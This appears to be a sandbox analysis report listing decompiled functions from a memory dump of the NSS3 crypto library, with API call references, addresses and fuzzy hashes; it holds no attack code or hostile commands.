PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA8D93

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 6648d5fe716f4f13583d56c58153b7633f1d3e1fd98965c595dd6cf2081c8018
Instruction ID: 809cbbd65f9d08438be550c5d79efb9e04de0226c245291245e5fe45607f4c0d
Opcode Fuzzy Hash: 6648d5fe716f4f13583d56c58153b7633f1d3e1fd98965c595dd6cf2081c8018
Instruction Fuzzy Hash: 9A314C71E01601AFEB20AFA8DC4479AB778BF45318F34013AEA156BB50D770A966C7D1

Function 6CEE9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEE9C5B), ref: 6CEE9D82

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEE9C5B), ref: 6CEE9DA9

Part of subcall function 6CEE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE136A
Part of subcall function 6CEE1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE137E
Part of subcall function 6CEE1340: PL_ArenaGrow.NSS3(?,6CE7F599,?,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?), ref: 6CEE13CF
Part of subcall function 6CEE1340: PR_Unlock.NSS3(?,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEE9C5B), ref: 6CEE9DCE

Part of subcall function 6CEE1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE7F599,?,00000000), ref: 6CEE13F0
Part of subcall function 6CEE1340: PL_ArenaGrow.NSS3(?,6CE7F599,?,?,?,00000000,00000000,?,6CE8895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CEE1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEE9C5B), ref: 6CEE9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CEE9C5B), ref: 6CEE9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEE9C5B), ref: 6CEE9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CEE9C5B), ref: 6CEE9E91

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

Part of subcall function 6CEE1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CEDFAAB,00000000), ref: 6CEE157E
Part of subcall function 6CEE1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CEDFAAB,00000000), ref: 6CEE1592
Part of subcall function 6CEE1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CEE1600
Part of subcall function 6CEE1560: PL_ArenaRelease.NSS3(?,?), ref: 6CEE1620
Part of subcall function 6CEE1560: PR_Unlock.NSS3(?), ref: 6CEE1639

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 6d8caaabf78de493b9127e85680b32fa11fb99df5f5616f0d8ae790c573c33f1
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 2C417EB4601606AFE7409F55D840B96BBF1FF49398F248128D9184BFA1EB72E834CB90

Function 6CEADDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CEADDEC

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CEADE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CEADE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CEADE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CEADEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEADEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEADECC

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 863893a56213ba550d4fb13314dddfd54cf438b6ae74e6b925ece8d77db07cdb
Instruction ID: 577596e5f1cf2afc7d62898c30742a1cfe1c179b978423e1eaea2b99f9d279ed
Opcode Fuzzy Hash: 863893a56213ba550d4fb13314dddfd54cf438b6ae74e6b925ece8d77db07cdb
Instruction Fuzzy Hash: F931B7B6E002146FDB00AFA4AC41BBB76B89F5570CF254129ED09AB741FB31DE15C6E2

Function 6CE87E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE87E48

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE87E5B

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE87E7B

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CFA925C,?), ref: 6CE87E92

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE87EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE87ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE87EFA

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 928666c95e61ca54a2ae7fbf7331ff7188f04830b3e1a610c469faabe8c78819
Instruction ID: 39bcf6f233ee1f3000ad8c5fd132d6b6bf0fc42f532e76296c292a05f259b610
Opcode Fuzzy Hash: 928666c95e61ca54a2ae7fbf7331ff7188f04830b3e1a610c469faabe8c78819
Instruction Fuzzy Hash: 093170B2F022119BEB109B699C41B5B77B8AF5565CF294828EC59EBB41F730EC04C7B0

Function 6CEDDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CEDD9E4,00000000), ref: 6CEDDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CEDD9E4,00000000), ref: 6CEDDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CEDD9E4,00000000), ref: 6CEDDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEDDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEDDCAD

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: a68fa5b630d27b1437d44b5000e21ad7ba2797ca4400f33920b776f5393d0188
Instruction ID: 4b9d796700a54d2ddfcb6cd08124502498d0462eeb7f11edb62cec892004a4ad
Opcode Fuzzy Hash: a68fa5b630d27b1437d44b5000e21ad7ba2797ca4400f33920b776f5393d0188
Instruction Fuzzy Hash: E23152B9A012009FD750CF59E884B56B7F8AF45358F254429E948CBB01D771FA45CFA1

Function 6CEA2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE9E728,?,00000038,?,?,00000000), ref: 6CEA2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CEA2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CEA2E9E
PR_Unlock.NSS3(?), ref: 6CEA2EAB
PR_Unlock.NSS3(?), ref: 6CEA2F0D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 65ddf9f3e914946a99e1df82adcc6182f1b0281be08cf8c3ca4ebd1f336fd1de
Instruction ID: ff6b084145ee331d2bb7b1872ee2788873becf95242071b414618ea9d27ab481
Opcode Fuzzy Hash: 65ddf9f3e914946a99e1df82adcc6182f1b0281be08cf8c3ca4ebd1f336fd1de
Instruction Fuzzy Hash: 8C312575E00605AFEB009F69D844966B778EF1925CB648164ED089B721EB31EC95C7E0

Function 6CEC1EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CEA6295,?,00000000,?,00000001,S&l,?), ref: 6CEC1ECB

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CEA6295,?,00000000,?,00000001,S&l,?), ref: 6CEC1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CEC1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CEC1F39

Part of subcall function 6CECFE20: TlsGetValue.KERNEL32(6CEA5ADC,?,00000000,00000001,?,?,00000000,?,6CE9BA55,?,?), ref: 6CECFE4B
Part of subcall function 6CECFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CECFE5F

PR_Unlock.NSS3(?), ref: 6CEC1F67

Strings

S&l, xrefs: 6CEC1EA0

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: 1455d1c8f3f3ec9fbe7780828320d96cc40d657ed147d1fadd658ad884d4a818
Instruction ID: 23bfe4a13b5ac1d22a36d862d4e19c6e5f513cb1fd447aabbc6b8d419649e731
Opcode Fuzzy Hash: 1455d1c8f3f3ec9fbe7780828320d96cc40d657ed147d1fadd658ad884d4a818
Instruction Fuzzy Hash: AC21F271B00244AFEB00AEA9DC46B9A3779AF4536CF244164FD288B711EB30E954C7E2

Function 6CEECEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEECD93,?), ref: 6CEECEEE

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEECD93,?), ref: 6CEECEFC

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEECD93,?), ref: 6CEECF0B

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEECD93,?), ref: 6CEECF1D

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CEECD93,?,?,?,?,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF78

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 5c2ab8c4b30ddfda98b4535c6aba492514edd41829a3183d25b77f5eb33046da
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 8911C3A1B003005BEB04ABA66C42B6B79FC9F4C18DF24443DAC09D7741FB70DA08C6A1

Function 6CE98C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE98C1B
EnterCriticalSection.KERNEL32 ref: 6CE98C34
PL_ArenaAllocate.NSS3 ref: 6CE98C65
PR_Unlock.NSS3 ref: 6CE98C9C
PR_Unlock.NSS3 ref: 6CE98CB6

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

Strings

KRAM, xrefs: 6CE98C8F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 0057e9ad0ece1ba96d702598f37e5cce41f541caef790efc3c2e4c32b19d87c3
Instruction ID: ce5e7f787c4cb9548ab4df2a25b52635f2dd945e11a44485d2bd25eb148f2bc3
Opcode Fuzzy Hash: 0057e9ad0ece1ba96d702598f37e5cce41f541caef790efc3c2e4c32b19d87c3
Instruction Fuzzy Hash: D02197B1A056018FD700AF78C484659F7F4FF45308F25896ED888CB711EB35E886CB92

Function 6CEA8E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CEC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C), ref: 6CEA8EA2

Part of subcall function 6CECF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CECF854
Part of subcall function 6CECF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CECF868
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CECF882
Part of subcall function 6CECF820: free.MOZGLUE(04C483FF,?,?), ref: 6CECF889
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CECF8A4
Part of subcall function 6CECF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CECF8AB
Part of subcall function 6CECF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CECF8C9
Part of subcall function 6CECF820: free.MOZGLUE(280F10EC,?,?), ref: 6CECF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CEC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C), ref: 6CEA8EC3
TlsGetValue.KERNEL32(?,?,?,6CEC2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE94F1C), ref: 6CEA8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CEC2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEA8EF1
PR_Unlock.NSS3 ref: 6CEA8F20

Strings

b.l, xrefs: 6CEA8E96, 6CEA8F25

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 888fbcbcb79d479ab52de55e3131155dbd244d0bd8e584bcbf5f2319332356c5
Instruction ID: 2ac45c732f9e78be62efe46a89e5c91dd0d83c0f2b4b7cb39c9a42a301f5ebe6
Opcode Fuzzy Hash: 888fbcbcb79d479ab52de55e3131155dbd244d0bd8e584bcbf5f2319332356c5
Instruction Fuzzy Hash: EA219C74A097459FCB10AF69D484299BBF0FF08318F51856EE8989BB40D734E855CBC2

Function 6CF13E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PR_EnterMonitor.NSS3(?), ref: 6CF13E45

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

PR_EnterMonitor.NSS3(?), ref: 6CF13E5C
PR_EnterMonitor.NSS3(?), ref: 6CF13E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF13EA6

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_ExitMonitor.NSS3(?), ref: 6CF13EC0
PR_ExitMonitor.NSS3(?), ref: 6CF13ED7
PR_ExitMonitor.NSS3(?), ref: 6CF13EEE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
